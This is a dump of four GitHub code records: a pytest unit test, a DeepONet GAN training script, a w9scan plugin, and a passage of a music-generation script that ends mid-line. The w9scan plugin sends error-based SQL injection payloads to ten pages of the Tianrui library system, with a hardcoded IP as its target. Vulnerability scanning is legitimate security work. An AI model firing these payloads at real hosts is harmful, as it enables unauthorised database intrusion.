+{"seq_id":"1128030174","text":"# imports\nimport pytest  # used for our unit tests\n\n# function to test\ndef remove_value(sample_list, val):\n    #Remove all occurrences of a specific item from a list.\n    return [i for i in sample_list if i != val]\n\n# unit tests\n# below, each test case is represented by a tuple passed to the @pytest.mark.parametrize decorator\n\n@pytest.mark.parametrize(\"sample_list,val,expected\", [\n    # Scenario 1: Regular use case with a list containing multiple instances of the value to be removed\n    ([1, 2, 3, 2, 4, 2, 5], 2, [1, 3, 4, 5]),\n    (['a', 'b', 'a', 'c', 'a', 'd'], 'a', ['b', 'c', 'd']),\n    # Scenario 2: List contains no instances of the value to be removed\n    ([1, 2, 3, 4, 5], 6, [1, 2, 3, 4, 5]),\n    (['apple', 'banana', 'cherry'], 'orange', ['apple', 'banana', 'cherry']),\n    # Scenario 3: List contains only instances of the value to be removed\n    ([2, 2, 2, 2, 2], 2, []),\n    (['a', 'a', 'a', 'a'], 'a', []),\n    # Scenario 4: List is empty\n    ([], 1, []),\n    ([], 'a', []),\n    # Scenario 5: List contains different data types\n    ([1, '1', 1.0, '1.0'], 1, ['1', '1.0']),\n    ([True, 'True', 1, '1'], True, ['True', '1']),\n    # Scenario 6: Edge case with None value\n    ([1, 2, 3, None, 4, 5], None, [1, 2, 3, 4, 5]),\n    ([None, None, None], None, []),\n    # Scenario 7: List contains nested lists\n    ([1, 2, [3, 4], 5], [3, 4], [1, 2, 5]),\n    (['a', 'b', ['c', 'd'], 'e'], ['c', 'd'], ['a', 'b', 'e']),\n    # Edge cases\n    ([[1, 2], [3, 4], [1, 2]], [1, 2], [[3, 4]]),\n    ([{'a': 1}, {'b': 2}, {'a': 1}], {'a': 1}, [{'b': 2}]),\n    ([True, False, True, False], 1, [False, False]),\n    ([True, False, True, False], 0, [True, True]),\n    ([1+2j, 2+3j, 1+2j], 1+2j, [2+3j]),\n    ([1+2j, 2+3j, 1+2j], 2+3j, [1+2j, 1+2j])\n])\ndef test_remove_value(sample_list, val, expected):\n    assert remove_value(sample_list, val) == expected","repo_name":"vaishali-vcs/LLM_UnitTestGenerator_Project","sub_path":"GPT4_Data/Output/test_34.py","file_name":"test_34.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"28768439032","text":"import pdb\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch\nfrom utils.seed_everything import seed_everything\nfrom data_handling.adv_diff_dataset import AdvDiffDataset\nfrom torch.utils.data import DataLoader\nfrom models.vanilla_O_net import DeepONet\nfrom models.shift_O_net import ShiftDeepONet\nfrom models.GA_O_net import GeneratorONet, CriticONet\nfrom tqdm import tqdm\n\ntorch.set_default_dtype(torch.float64)\n\nif __name__ == \"__main__\":\n\n    seed_everything(0)\n\n    train = True\n    cuda = True\n    if cuda:\n        device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n    else:\n        device = 'cpu'\n\n    data_string = 'data/advection_diffusion/train_data/adv_diff'\n    dataset = AdvDiffDataset(data_string, num_samples=1000)\n    dataloader = DataLoader(dataset, batch_size=4, shuffle=True, num_workers=4)\n    num_basis_functions = 20\n    latent_dim = 32\n    generator = GeneratorONet(\n            branch_input_size=128,\n            trunk_input_size=1,\n            trunk_hidden_neurons=[32, 32, 32],\n            branch_hidden_neurons=[32, 32, 32],\n            scale_hidden_neurons=[8],\n            shift_hidden_neurons=[8],\n            bias_hidden_neurons=[4],\n            latent_dim=latent_dim,\n            num_basis_functions=num_basis_functions,\n    ).to(device)\n    generator.train()\n\n    critic = CriticONet(\n             critic_input_size=128 + 1 + 1,\n             critic_hidden_neurons=[64, 64, 64, 64]\n    ).to(device)\n    critic.train()\n\n    generator_optimizer = optim.RMSprop(generator.parameters(), lr=1e-4)\n    generator_optimizer_pred = optim.Adam(generator.parameters(), lr=1e-4, weight_decay=1e-7)\n    critic_optimizer = optim.RMSprop(critic.parameters(), lr=1e-4)\n\n\n    num_epochs = 100\n    if train:\n        pbar = tqdm(range(num_epochs), total=num_epochs,\n                    bar_format='{l_bar}{bar:10}{r_bar}{bar:-10b}')\n        for epoch in pbar:\n            for i, data in enumerate(dataloader):\n                y, u_old, u_new = data\n\n                y = y.reshape(-1, 1).to(device)\n                u_new = u_new.reshape(-1, 1).to(device)\n                u_old = u_old.reshape(-1, 128).to(device)\n                x_latent = torch.randn(y.shape[0], latent_dim).to(device)\n\n                for p in critic.parameters():\n                    p.data.clamp_(-5, 5)\n\n                # Train the critic\n                critic_optimizer.zero_grad()\n                generator.eval()\n                critic.train()\n                u_pred = generator(x_branch=u_old, x_trunk=y, x_latent=x_latent)\n\n                critic_real_input = torch.cat((u_new, u_old, y), dim=1)\n                critic_gen_input = torch.cat((u_pred, u_old, y), dim=1)\n\n                critic_loss = -critic(critic_real_input).mean() \\\n                        + critic(critic_gen_input).mean()\n                critic_loss.backward()\n                critic_optimizer.step()\n\n                if i % 5 == 0:\n                    generator.train()\n                    critic.eval()\n                    generator_optimizer.zero_grad()\n\n                    u_pred = generator(x_branch=u_old, x_trunk=y, x_latent=x_latent)\n                    critic_gen_input = torch.cat((u_pred, u_old, y), dim=1)\n                    gen_loss = -critic(critic_gen_input).mean()\n                    gen_loss.backward()\n                    generator_optimizer.step()\n\n\n                    generator_optimizer_pred.zero_grad()\n\n                    u_pred = generator(x_branch=u_old, x_trunk=y, x_latent=x_latent)\n                    gen_loss_pred = nn.MSELoss()(u_pred, u_new)\n                    gen_loss_pred.backward()\n                    generator_optimizer_pred.step()\n\n            if np.abs(gen_loss.item()) > 1e8:\n                break\n\n            if np.abs(critic_loss.item()) > 1e8:\n                break\n\n            pbar.set_postfix({\n                \"Gen loss\": gen_loss.item(),\n                \"Gen loss pred\": gen_loss_pred.item(),\n                \"Critic loss\": critic_loss.item()\n            })\n\n    generator.eval()\n\n    true_sols = []\n    for i in range(1000):\n        true_sol = np.load(data_string+'_'+str(i)+'.npy', allow_pickle=True).item()\n        true_sol = true_sol['sol'][:, 0::16]\n        true_sols.append(true_sol)\n    true_sols = np.array(true_sols)\n    true_sols_mean = np.mean(true_sols, axis=0)\n    true_sols_std = np.std(true_sols, axis=0)\n    plt.figure()\n\n    x_vec = np.linspace(-1, 1, 128)\n    plt.figure()\n    plt.plot(x_vec, true_sols_mean[:, 0], label='True', color='tab:blue')\n    plt.plot(x_vec, true_sols_mean[:, 15], color='tab:blue')\n    plt.plot(x_vec, true_sols_mean[:, 30], color='tab:blue')\n\n    plt.fill_between(x_vec, true_sols_mean[:, 0] - true_sols_std[:, 0],\n                     true_sols_mean[:, 0] + true_sols_std[:, 0],\n                     alpha=0.1, color='tab:blue')\n    plt.fill_between(x_vec, true_sols_mean[:, 15] - true_sols_std[:, 15],\n                     true_sols_mean[:, 15] + true_sols_std[:, 15],\n                     alpha=0.1, color='tab:blue')\n    plt.fill_between(x_vec, true_sols_mean[:, 30] - true_sols_std[:, 30],\n                     true_sols_mean[:, 30] + true_sols_std[:, 30],\n                     alpha=0.1, color='tab:blue')\n    plt.show()\n\n\n    x_vec = np.linspace(-1, 1, 128)\n    x_vec = torch.tensor(x_vec).unsqueeze(1).to(device)\n    true_sol = np.load(data_string + '_0.npy', allow_pickle=True).item()\n    true_sol = true_sol['sol'][:, 0::16]\n    init = true_sol[:, 0]\n    pred_mean = [init]\n    pred_std = [np.zeros(init.shape)]\n    for i in range(31):\n        u_old = torch.tensor(pred_mean[-1]).unsqueeze(0).to(device)\n        u_old = torch.tile(u_old, (128, 1)).to(device)\n\n        pred = []\n        for j in range(1000):\n            x_latent = torch.randn(128, latent_dim).to(device)\n            u_pred = generator(x_branch=u_old, x_trunk=x_vec, x_latent=x_latent).detach().cpu().numpy()\n            pred.append(u_pred[:, 0])\n\n        pred = np.array(pred)\n        pred_mean.append(pred.mean(axis=0))\n        pred_std.append(pred.std(axis=0))\n\n    pred_mean = np.array(pred_mean).transpose()\n    pred_std = np.array(pred_std).transpose()\n\n    x_vec = np.linspace(-1, 1, 128)\n    plt.figure()\n    plt.plot(x_vec, pred_mean[:, 0], label='True', color='tab:blue')\n    plt.plot(x_vec, pred_mean[:, 15], color='tab:blue')\n    plt.plot(x_vec, pred_mean[:, 30], color='tab:blue')\n\n    plt.fill_between(x_vec, pred_mean[:, 0] - pred_std[:, 0],\n                     pred_mean[:, 0] + pred_std[:, 0],\n                     alpha=0.1, color='tab:blue')\n    plt.fill_between(x_vec, pred_mean[:, 15] - pred_std[:, 15],\n                     pred_mean[:, 15] + pred_std[:, 15],\n                     alpha=0.1, color='tab:blue')\n    plt.fill_between(x_vec, pred_mean[:, 30] - pred_std[:, 30],\n                     pred_mean[:, 30] + pred_std[:, 30],\n                     alpha=0.1, color='tab:blue')\n    plt.show()","repo_name":"nmucke/DeepONet","sub_path":"main_adv_diff_GA_ONet.py","file_name":"main_adv_diff_GA_ONet.py","file_ext":"py","file_size_in_byte":6939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8535856896","text":"#!/usr/bin/evn python \n#--coding:utf-8--*--\n#Name:天睿电子图书管理系统系统10处注入打包 避免重复\n#Refer:http://www.wooyun.org/bugs/wooyun-2015-0120852/\n#Author:xq17\n\ndef assign(service,arg):\n    if service==\"tianrui_lib\":\n        return True,arg\n    \ndef audit(arg):\n    urls = [\n        arg + 'gl_tj_0.asp?id=1',\n        arg + 'gl_tuijian_1.asp',\n        arg + 'gl_tz_she.asp?zt=1&id=1',\n        arg + 'gl_us_shan.asp?id=1',\n        arg + 'gl_xiu.asp?id=1',\n        arg + 'mafen.asp?shuxing=1',\n        arg + 'ping_cha.asp?mingcheng=1',\n        arg + 'ping_hao.asp?mingcheng=1',\n        arg + 'pl_add.asp?id=1',\n        arg + 'search.asp?keywords=1&shuxing=1',\n    ]\n    for url in urls:\n        url += '%20and%201=convert(int,CHAR(87)%2BCHAR(116)%2BCHAR(70)%2BCHAR(97)%2BCHAR(66)%2BCHAR(99)%2B@@version)'\n        code, head, res, err, _ = curl.curl2(url)\n        if((code == 200) or (code == 500)) and ('WtFaBcMicrosoft SQL Server' in res):\n            security_hole(\"SQL Injection: \" + url)\n    url = arg + 'gl_tz_she.asp?zt=11%20WHERE%201=1%20AND%201=convert(int,CHAR(87)%2BCHAR(116)%2BCHAR(70)%2BCHAR(97)%2BCHAR(66)%2BCHAR(99)%2B@@version)--'\n    code, head, res, err, _ = curl.curl2(url)\n    if ((code == 200) or (code == 500)) and ('WtFaBcMicrosoft SQL Server' in res):\n        security_hole(\"SQL Injection: \" + url)\nif __name__ == '__main__':\n    from dummy import *\n    audit(assign('tianrui_lib','http://218.92.71.5:1085/trebook/')[1])","repo_name":"w-digital-scanner/w9scan","sub_path":"plugins/tianrui_lib/2469.py","file_name":"2469.py","file_ext":"py","file_size_in_byte":1465,"program_lang":"python","lang":"en","doc_type":"code","stars":1099,"dataset":"github-code","pt":"16"}
+{"seq_id":"15413667816","text":"from __future__ import print_function\nimport argparse\nfrom datetime import datetime\nimport os\nos.environ[\"CUDA_DEVICE_ORDER\"]=\"PCI_BUS_ID\"\nos.environ[\"CUDA_VISIBLE_DEVICES\"]=\"3\"\nimport sys\nimport time\nimport glob\n\n\nfrom collections import defaultdict\nfrom midiutil import MIDIFile\nfrom pypianoroll import Multitrack, Track\n\nimport numpy as np\nimport tensorflow as tf\n\nfrom model import CMHRNN\nfrom model import decode_melody,decode_rhythm, rhythm_to_index,index_to_chord, chord_symbol_to_midi_notes\n\nCOND_DIRECTORY = './test/test_condition'\nGEN_DIR = './test/generated_result'\nLOGDIR_ROOT= None\n\nBATCH_SIZE = 1\nNUM_GPU = 1\n\nSEED_LENGTH = 8  #16*n+4\n   \n\ndef get_arguments():\n    parser = argparse.ArgumentParser(description='CMHRNN example network')\n    parser.add_argument('--num_gpus',         type=int,   default=NUM_GPU)\n    parser.add_argument('--cond_dir',         type=str,\n                        default=COND_DIRECTORY)\n    parser.add_argument('--gen_dir',         type=str,\n                        default=GEN_DIR)  \n    parser.add_argument('--logdir_root',      type=str,   default=LOGDIR_ROOT)\n    parser.add_argument('--note_temp',type=float)\n    parser.add_argument('--rhythm_temp',type=float)\n    args = parser.parse_args()\n    config_file = os.path.join(*args.logdir_root.split(\"/\")[0:-1])+'/config.txt'\n    big_frame_size = int(open(config_file).readlines()[1].split(\":\")[-1][1:-1])\n    frame_size = int(open(config_file).readlines()[2].split(\":\")[-1][1:-1])   \n    mode_choice_ckpt = open(config_file).readlines()[4].split(\":\")[-1][1:-1]\n    if_cond_ckpt = open(config_file).readlines()[5].split(\":\")[-1][1:-1]\n    no_rnn = int(open(config_file).readlines()[6].split(\":\")[-1][1:-1])\n    note_channel = int(open(config_file).readlines()[7].split(\":\")[-1][1:-1])\n    rhythm_channel = int(open(config_file).readlines()[8].split(\":\")[-1][1:-1])\n    chord_channel = int(open(config_file).readlines()[12].split(\":\")[-1][1:-1])\n    rnn_type = open(config_file).readlines()[9].split(\":\")[-1][1:-1]\n    dim = int(open(config_file).readlines()[10].split(\":\")[-1][1:-1])\n    try:\n        birnndim = int(open(config_file).readlines()[18].split(\":\")[-1][1:-1])\n    except:\n        birnndim = 128\n    bar_channel = int(open(config_file).readlines()[16].split(\":\")[-1][1:-1])\n    piano_dim = note_channel + rhythm_channel + chord_channel +bar_channel\n\n    class model_arg(object):\n        def __init__(self, seq_len, big_frame_size,frame_size,mode_choice,rnn_type,n_rnn,dim, if_cond,piano_dim,note_channel,rhythm_channel,chord_channel,birnndim):\n            self.seq_len = seq_len\n            self.big_frame_size = big_frame_size\n            self.frame_size = frame_size\n            self.mode_choice = mode_choice\n            self.rnn_type = rnn_type\n            self.n_rnn = n_rnn\n            self.dim = dim\n            self.if_cond = if_cond\n            self.piano_dim = piano_dim\n            self.note_channel = note_channel\n            self.rhythm_channel = rhythm_channel\n            self.chord_channel = chord_channel\n            self.bar_channel = bar_channel\n            self.batch_size =1\n            self.alpha1 = 0.5\n            self.alpha2 = 0.4\n            self.drop_out =1\n            self.birnndim = birnndim\n            print(self.seq_len,\n            self.big_frame_size,\n            self.frame_size,\n            self.mode_choice,\n            self.rnn_type,\n            self.n_rnn,\n            self.dim,\n            self.if_cond,\n            self.piano_dim,\n            self.note_channel,\n            self.rhythm_channel,\n            self.chord_channel,\n            self.bar_channel,\n            self.batch_size,\n            self.alpha1,\n            self.alpha2,\n            self.drop_out)\n    \n    mod_arg = model_arg(seq_len = 128, big_frame_size = big_frame_size,frame_size = frame_size,\n                        mode_choice = mode_choice_ckpt,rnn_type = rnn_type,n_rnn = no_rnn,dim = dim, \n                        if_cond =if_cond_ckpt,piano_dim = piano_dim,note_channel = note_channel,\n                        rhythm_channel = rhythm_channel,chord_channel= chord_channel, birnndim = birnndim)\n\n    return args, mod_arg\n\n\nclass define_placeholder(object):\n    def __init__(self, net):\n        self.infe_para = dict()\n        if not net.if_cond:\n            self.inpt_lst_dim = net.piano_dim - net.chord_channel\n        elif net.mode_choice==\"ad_rm2t_fc\" or net.mode_choice==\"ad_rm3t_fc\"or net.mode_choice==\"ad_rm3t_fc_rs\" or net.mode_choice==\"bln_attn_fc\" or net.mode_choice==\"bln_fc\" or net.mode_choice==\"2t_fc\" or net.mode_choice==\"3t_fc\":\n            self.inpt_lst_dim = net.piano_dim + net.chord_channel\n        self.infe_para['infe_big_frame_state'] = net.big_frame_cell.zero_state(net.batch_size,tf.float32)\n\n        self.infe_para['infe_big_frame_inp'] = tf.placeholder(tf.float32, name = \"infe_big_frame_inp\",shape = [net.batch_size,net.big_frame_size,self.inpt_lst_dim])\n\n        self.infe_para['infe_big_frame_outp'] = tf.placeholder(tf.float32, name = \"infe_big_frame_out\",shape = [net.batch_size,net.big_frame_size / net.frame_size,net.dim])\n        \n        self.infe_para['infe_big_frame_outp_slices'] = tf.placeholder(tf.float32, name = \"infe_big_frame_outp_slices\",shape = [net.batch_size,1,net.dim])\n\n        self.infe_para['infe_frame_inp'] = tf.placeholder(tf.float32, name = \"infe_frame_inp\",shape = [net.batch_size,net.frame_size,self.inpt_lst_dim])\n\n        self.infe_para['infe_frame_outp'] = tf.placeholder(tf.float32, name = \"infe_frame_outp\",shape = [net.batch_size,net.frame_size,net.dim])\n        \n        self.infe_para['infe_frame_state'] = net.frame_cell.zero_state(net.batch_size,tf.float32) \n\n        self.infe_para['infe_sample_inp'] = tf.placeholder(tf.float32, name = \"infe_sample_inp\",shape = [net.batch_size,net.frame_size,self.inpt_lst_dim])\n        \n        self.infe_para['infe_frame_outp_slices'] = tf.placeholder(tf.float32, name = \"infe_frame_outp_slices\",shape = [net.batch_size,1,net.dim])\n\n        self.infe_para['infe_rm_tm'] = tf.placeholder(tf.float32, name = \"infe_rm_tm\",shape = [net.batch_size,1,net.rhythm_channel])\n        \n        self.infe_para['bln_ipt'] = tf.placeholder(tf.float32, name = \"infe_bln_ipt\",shape = [net.batch_size,1,net.piano_dim+net.chord_channel])\n\n        #self.infe_para['bln_out'] = tf.placeholder(tf.float32, name = \"infe_bln_out\",shape = [net.batch_size,1,net.rhythm_channel+net.note_channel])\n\n        self.infe_para['bln_state'] = net.sample_cell.zero_state(net.batch_size,tf.float32)\n        self.infe_para['bln_attn_state'] = net.attn_cell.zero_state(net.batch_size,tf.float32)\n\n        print(\"initialize placeholder\", self.infe_para['infe_big_frame_state'],self.infe_para['infe_big_frame_inp'] ,self.infe_para['infe_big_frame_outp'])\n\ndef choose_from_distribution(preds, temperature=1.0):\n\n    preds = np.asarray(preds).astype('float64')\n    return_array = np.zeros_like(preds)\n    preds = np.log(preds[0]) / temperature\n    exp_preds = np.exp(preds)\n    preds = exp_preds / np.sum(exp_preds)\n    probas = np.random.multinomial(1, preds, 1)\n    return_array[:,np.argmax(probas)] = 1\n    return return_array\n\ndef decode_event_slice(event_slice, net, ignore_bar_event = True):\n    CHORD_CHANNELS_REST = net.chord_channel\n    RHYTHMS_CHANNELS = net.rhythm_channel\n\n    rhythm_info = np.argmax(event_slice[CHORD_CHANNELS_REST:CHORD_CHANNELS_REST+RHYTHMS_CHANNELS])\n    melody_info = np.argmax(event_slice[CHORD_CHANNELS_REST+RHYTHMS_CHANNELS:])\n    chord_info = np.argmax(event_slice[:CHORD_CHANNELS_REST])\n\n    melody = decode_melody(melody_info, ignore_bar_event)\n    rhythm = decode_rhythm(rhythm_info, ignore_bar_event)  \n    chord = index_to_chord(chord_info, ignore_bar_event)    \n\n    return melody, rhythm, chord\ndef check_if_start_bar(bar_info_at_pos):\n    if np.argmax(bar_info_at_pos)==1:\n        return True\n    else:\n        return False\ndef generate_midi(np_file, mid_name, net ,original_file,if_save = True):\n\n    np_f = np.load(np_file)[0]\n    bar_info = np_f[:,:net.bar_channel]\n    np_f = np_f[:, net.bar_channel:]\n    if not net.if_cond:\n        np_f = np.concatenate((original_file[0][:,net.bar_channel:net.bar_channel+net.chord_channel], np_f), axis = -1)\n    MyMIDI = MIDIFile(numTracks=2,ticks_per_quarternote=220) #track0 is melody, track1 is chord\n    MyMIDI_eva = MIDIFile(numTracks=1,ticks_per_quarternote=220) #track0 is melody\n\n    cum_time = float(0)\n    ##melody track: melody + rhythm\n    for pos, event_slice in enumerate(np_f): \n        melody, rhythm, _ = decode_event_slice(event_slice, net,ignore_bar_event = True)\n        if melody==1: \n            continue\n        else:\n            #check future pos whether sustain\n            next_pos = pos + 1 \n            if next_pos<=len(np_f)-1:\n                melody_next, rhythm_next, _ = decode_event_slice(np_f[next_pos], net,ignore_bar_event = True)\n                while(melody_next == 1 and next_pos<=len(np_f)-1):\n                    rhythm += rhythm_next\n                    next_pos+=1\n                    try:\n                        melody_next, rhythm_next, _ = decode_event_slice(np_f[next_pos], net,ignore_bar_event = True)\n                    except:\n                        melody_next = \"break the loop\"\n                        rhythm_next = \"break the loop\"\n            on_time = cum_time\n            dur = rhythm\n            if melody==0:\n                cum_time = on_time+rhythm\n            else:\n                MyMIDI.addNote(track = 0, channel = 0, pitch = melody, time = on_time, duration = dur, volume = 100)\n                MyMIDI_eva.addNote(track = 0, channel = 0, pitch = melody, time = on_time, duration = dur, volume = 100)\n                cum_time = on_time+rhythm\n\n    ##chord track: chord + rhythm\n    cum_time = float(0)\n    ignore_pos = []\n    for pos, event_slice in enumerate(np_f):\n\n        _, rhythm, chord = decode_event_slice(event_slice, net,ignore_bar_event = True)\n        if pos in ignore_pos:\n            continue\n\n        next_pos = pos + 1 \n        if next_pos<=len(np_f)-1: #total len 40, check till next_pos = [39], \n            \n            _, rhythm_next, chord_next = decode_event_slice(np_f[next_pos],net,ignore_bar_event = True)\n            #if_next_bar = check_if_start_bar(bar_info[next_pos])\n            \n            #while(chord_next == chord and next_pos<=len(np_f)-1) and not if_next_bar: #total len 40, next pos max = 39 \n            while(chord_next == chord and next_pos<=len(np_f)-1): #total len 40, next pos max = 39 \n\n                ignore_pos.append(next_pos)\n                rhythm += rhythm_next\n                next_pos+=1\n                try:\n                    _, rhythm_next, chord_next = decode_event_slice(np_f[next_pos],net,ignore_bar_event = True)\n                except:\n                    rhythm_next = \"break the loop\"\n                    chord_next = \"break the loop\"\n            on_time = cum_time\n            dur = rhythm\n            if chord==(\"rest\",\"rest\"):\n                cum_time = on_time+rhythm\n            else:\n                chord_notes = chord_symbol_to_midi_notes(chord)\n                for chord_note in chord_notes:\n                    chord_note = int(chord_note)\n                    chord_note+=60\n                    MyMIDI.addNote(track = 1, channel = 0, pitch = chord_note, time = on_time, duration = dur, volume = 100)\n                cum_time = on_time+rhythm\n\n\n    if if_save:\n        print(\"saving to {} \".format(mid_name))\n        mid_eva_name = mid_name[:-4]+\"_eva.mid\"\n        with open(mid_name, \"wb\") as output_file:\n            MyMIDI.writeFile(output_file)     \n            print(\"{} has been updated\".format(mid_name))\n        with open(mid_eva_name, \"wb\") as output_file2:\n            MyMIDI_eva.writeFile(output_file2)     \n            print(\"{} has been updated\".format(mid_eva_name))\n\ndef create_graph_2t_fc(net):\n    with tf.name_scope('infe_para'):\n        infe_para = define_placeholder(net).infe_para\n\n        tf.get_variable_scope().reuse_variables()\n\n        infe_para['infe_frame_outp'], infe_para['infe_next_frame_state'] = net.frame_level_switch(\n                frame_input=infe_para['infe_frame_inp'],\n                frame_state = infe_para['infe_frame_state']\n        )\n\n        pd_sustain, pd_bar, pd_note = net.sample_level_tweek_last_layer(\n            frame_output=infe_para['infe_frame_outp_slices'],\n            sample_input_sequences=infe_para['infe_sample_inp']\n        )\n\n        infe_para['note'] = tf.nn.softmax(pd_note[0])\n        infe_para['rhythm'] = tf.nn.softmax(pd_sustain[0])\n        infe_para['bar'] = tf.nn.softmax(pd_bar[0])        \n        return infe_para\n\ndef create_graph_3t_fc(net):\n    with tf.name_scope('infe_para'):\n        infe_para = define_placeholder(net).infe_para\n\n        tf.get_variable_scope().reuse_variables()\n\n        infe_para['infe_big_frame_outp'], infe_para['infe_next_big_frame_state'] = net.big_frame_level(\n                big_frame_input=infe_para['infe_big_frame_inp'],\n                big_frame_state = infe_para['infe_big_frame_state']\n        )\n\n        infe_para['infe_frame_outp'], infe_para['infe_next_frame_state'] = net.frame_level_switch(\n                frame_input=infe_para['infe_frame_inp'],\n                bigframe_output=infe_para['infe_big_frame_outp_slices'],\n                frame_state = infe_para['infe_frame_state']\n        )\n\n        pd_sustain, pd_bar, pd_note = net.sample_level_tweek_last_layer(\n            frame_output=infe_para['infe_frame_outp_slices'],\n            sample_input_sequences=infe_para['infe_sample_inp']\n        )\n\n        infe_para['note'] = tf.nn.softmax(pd_note[0])\n        infe_para['rhythm'] = tf.nn.softmax(pd_sustain[0])\n        infe_para['bar'] = tf.nn.softmax(pd_bar[0])\n        return infe_para\n\ndef create_graph_ad_rm2t_fc(net):\n    with tf.name_scope('infe_para'):\n        infe_para = define_placeholder(net).infe_para\n\n        tf.get_variable_scope().reuse_variables()\n\n        infe_para['infe_frame_outp'], infe_para['infe_next_frame_state'] = net.frame_level_switch(\n                frame_input=infe_para['infe_frame_inp'],\n                frame_state = infe_para['infe_frame_state']\n        )\n\n        pd_sustain, pd_bar, pd_note = net.sample_level_tweek_last_layer(\n            frame_output=infe_para['infe_frame_outp_slices'],\n            sample_input_sequences=infe_para['infe_sample_inp'],\n            rm_time=infe_para['infe_rm_tm']\n        )\n\n        infe_para['note'] = tf.nn.softmax(pd_note[0])\n        infe_para['rhythm'] = tf.nn.softmax(pd_sustain[0])\n        infe_para['bar'] = tf.nn.softmax(pd_bar[0])\n        return infe_para\n\ndef create_graph_bln_attn_fc(net, if_attn):\n    with tf.name_scope('infe_para'):\n        infe_para = define_placeholder(net).infe_para\n\n        tf.get_variable_scope().reuse_variables()\n\n        if if_attn:\n            pd_sustain, pd_bar, pd_note, infe_para['bln_next_state'] = net.bln_attn(baseline_input = infe_para['bln_ipt'], baseline_state = infe_para['bln_attn_state'], if_attn = if_attn)\n        else:\n            pd_sustain, pd_bar, pd_note, infe_para['bln_next_state'] = net.bln_attn(baseline_input = infe_para['bln_ipt'], baseline_state = infe_para['bln_state'], if_attn = if_attn)\n\n\n        infe_para['note'] = tf.nn.softmax(pd_note[0])\n        infe_para['rhythm'] = tf.nn.softmax(pd_sustain[0])\n        infe_para['bar'] = tf.nn.softmax(pd_bar[0])\n        \n        \n        return infe_para\n\ndef create_graph_ad_rm3t_fc(net, if_residual):\n    with tf.name_scope('infe_para'):\n        infe_para = define_placeholder(net).infe_para\n\n        tf.get_variable_scope().reuse_variables()\n\n        infe_para['infe_big_frame_outp'], infe_para['infe_next_big_frame_state'] = net.big_frame_level(\n                big_frame_input=infe_para['infe_big_frame_inp'],\n                big_frame_state = infe_para['infe_big_frame_state']\n        )\n\n        infe_para['infe_frame_outp'], infe_para['infe_next_frame_state'] = net.frame_level_switch(\n                frame_input=infe_para['infe_frame_inp'],\n                bigframe_output=infe_para['infe_big_frame_outp_slices'],\n                frame_state = infe_para['infe_frame_state'],\n                if_rs = if_residual\n        )\n\n        pd_sustain, pd_bar, pd_note = net.sample_level_tweek_last_layer(\n            frame_output=infe_para['infe_frame_outp_slices'],\n            sample_input_sequences=infe_para['infe_sample_inp'],\n            rm_time=infe_para['infe_rm_tm']\n        )\n\n        infe_para['note'] = tf.nn.softmax(pd_note[0])\n        infe_para['rhythm'] = tf.nn.softmax(pd_sustain[0])\n        infe_para['bar'] = tf.nn.softmax(pd_bar[0])\n\n        return infe_para\n\n\ndef find_rm_tm_array(net, samples,current_time):\n    rm_tm_array = np.zeros((net.batch_size,1,net.rhythm_channel))\n    #current_time = t\n    prev_time = current_time-1\n    while np.argmax(samples[0][prev_time][:net.bar_channel])!=1:\n        prev_time -= 1\n    duration_accumulated = 0\n    for idx in range(prev_time,current_time):\n        duration_raw = np.argmax(samples[0][idx][net.bar_channel+2*net.chord_channel: net.bar_channel+2*net.chord_channel+net.rhythm_channel])\n        duration = decode_rhythm(duration_raw,ignore_bar_event = True)\n        duration_accumulated+=duration\n    duration_left_raw = duration_accumulated\n    if duration_left_raw>4:\n        print(\"dur warning\",duration_accumulated)\n        duration_left_raw = 4\n    rm_duration_idx = rhythm_to_index(duration_left_raw)\n    rm_tm_array[:,:,rm_duration_idx] = 1\n    return rm_tm_array\n\ndef sample_from_distrubution(net,args,sample_out_note_distribution, rhythm_out_distribution,bar_out_distribution, chord_this_time):\n\n    sample_out_note = choose_from_distribution(sample_out_note_distribution, temperature = args.note_temp)\n    sample_out_rhythm = choose_from_distribution(rhythm_out_distribution, temperature = args.rhythm_temp)\n    sample_out_bar = choose_from_distribution(bar_out_distribution,temperature = 0.1)\n    if net.if_cond:\n        sample_ori_chord = chord_this_time\n        return np.concatenate((sample_out_bar,sample_ori_chord, sample_out_rhythm, sample_out_note), axis = 1)\n    else:\n        return np.concatenate((sample_out_bar,sample_out_rhythm, sample_out_note), axis = 1)\n\ndef forward_prop(net, infe_para, sess, condition, condition_name, gen_dir,args,seed_length,mode_choice):\n    #prepare input\n    for i in range(len(condition)-1,0,-1):\n        if np.argmax(condition[i][net.bar_channel:net.bar_channel+net.chord_channel])!=0:\n            print(\"chord is rest\")\n            break\n        else:\n            trim_index = i\n    condition = condition[:trim_index, :]\n    LENGTH = condition.shape[0]\n    rest_chord = np.zeros((1,net.chord_channel))\n    rest_chord[:,0] = 1\n    all_chords= condition[:,net.bar_channel:net.bar_channel+net.chord_channel] #(len, chord_dim)\n    shifted_chord = np.concatenate((all_chords[1:,:],rest_chord),axis = 0) \n    condition_with_fc_chord = np.concatenate((condition[:,:net.bar_channel],shifted_chord,condition[:,net.bar_channel:]),axis = -1)\n    original_file= np.reshape(condition_with_fc_chord,(net.batch_size, LENGTH, net.piano_dim+net.chord_channel))\n    samples = np.zeros((net.batch_size, LENGTH, net.piano_dim+net.chord_channel), dtype='float32')\n    samples[:, :seed_length, :] = original_file[:,:seed_length, :]\n    #run graph based on model choice\n    final_big_s, final_s, bln_s, bln_attn_s= sess.run([net.big_frame_init, net.frame_init, net.sample_init, net.attn_cell_init])\n    if mode_choice == \"ad_rm2t_fc\":\n        for t in range(net.frame_size, LENGTH):\n            # frame level\n            if t % net.frame_size == 0: #if (t - net.frame_size) % net.frame_size == 0:\n                frame_input_sequences = samples[: , t - net.frame_size:t, :]\n                frame_out, final_s = sess.run(\n                    [   infe_para['infe_frame_outp'],\n                        infe_para['infe_next_frame_state']],\n                    feed_dict={\n                        infe_para['infe_frame_inp']: frame_input_sequences,\n                        infe_para['infe_frame_state']: final_s})\n            # sample level\n            sample_input_sequences = samples[:, t-net.frame_size:t, :]\n            frame_output_idx = t % net.frame_size\n            #find rm_tm array\n            rm_tm_array = find_rm_tm_array(net,samples, current_time = t)\n\n            sample_out_note_distribution, 